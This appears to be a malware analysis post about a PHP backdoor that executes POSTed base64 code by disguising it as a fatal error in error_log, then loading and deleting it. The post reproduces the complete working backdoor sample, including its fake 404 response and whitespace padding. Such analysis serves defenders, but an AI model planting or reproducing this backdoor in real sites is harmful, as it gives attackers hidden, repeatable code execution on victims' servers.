PHP’s error_log

Have you ever seen a file named error_log in your website’s directory or subdirectories? It’s the default error logging file for PHP and its directive is defined within the php.ini configuration file.

The error_log file can also range wildly in its disk usage due to various reasons like logging verbosity and not being rotated out. I’m not kidding - I’ve seen some that are 20GB and just chillin’ in public_html/html, which is not good for the server’s Apache/HTTP service.

Why is this background info on PHP’s error_log important? Because for an attacker it means:

  1. By default, it’s normal for an error_log file to be generated in the website’s directory.

  2. File integrity monitoring using hashes or mtime/ctime aren’t that helpful since the contents of error_log are modified whenever a PHP error occurs.

In fact, error_log files can sometimes trigger false positives based on the error logging text.

This makes it ideal to use for temporarily storing a payload that will be used by another malicious file. Instead of trying to make the payload invisible - just put it somewhere that isn’t very monitored and won’t be noticed 🥸

Injector

The injector requires the base64 encoded payload be assigned the name 1550208479 and delivered through a POST request to the injector, which can vary in its filepath and name:

./wp-admin/css/colors/midnight/405.php

./wp-admin/css/colors/ocean/oembed.php

./wp-admin/user/xmlrpc.php

if(isset($_POST['1550208479'])){
  $error='hp '.base64_decode(substr($_POST['1550208479'],1)).'?';

The $error contains segments of the code tags which will need to be injected to the error_log file or else the injected PHP code won’t get executed.

The injector then uses file_put_contents to inject/write the code to the error_log file and it hides the malicious PHP payload in the text of a fake PHP fatal error:

  @file_put_contents('error_log','PHP Fatal error:  Uncaught Error: code(1)'.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL."\t\t\t\t\t\t\t\t\t\t\t\t\t".'<'.'?p'.$error.'>'.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL);
  @require_once('error_log');
  @unlink('error_log');exit;

The payload doesn’t stay around for long - it is loaded by the injector using require_once function and then the entire error_log is deleted by the injector (after it is loaded to memory).

The injector itself isn’t deleted, so it can be used over and over to load additional payloads for malicious activity.

Sample


<?php
error_reporting(0);
set_time_limit(0);
if(isset($_POST['1550208479'])){
  $error='hp '.base64_decode(substr($_POST['1550208479'],1)).'?';
  @file_put_contents('error_log','PHP Fatal error:  Uncaught Error: code(1)'.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL."\t\t\t\t\t\t\t\t\t\t\t\t\t".'<'.'?p'.$error.'>'.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL.PHP_EOL);
  @require_once('error_log');
  @unlink('error_log');exit;
}
header('HTTP/1.1 404 Not Found');
?>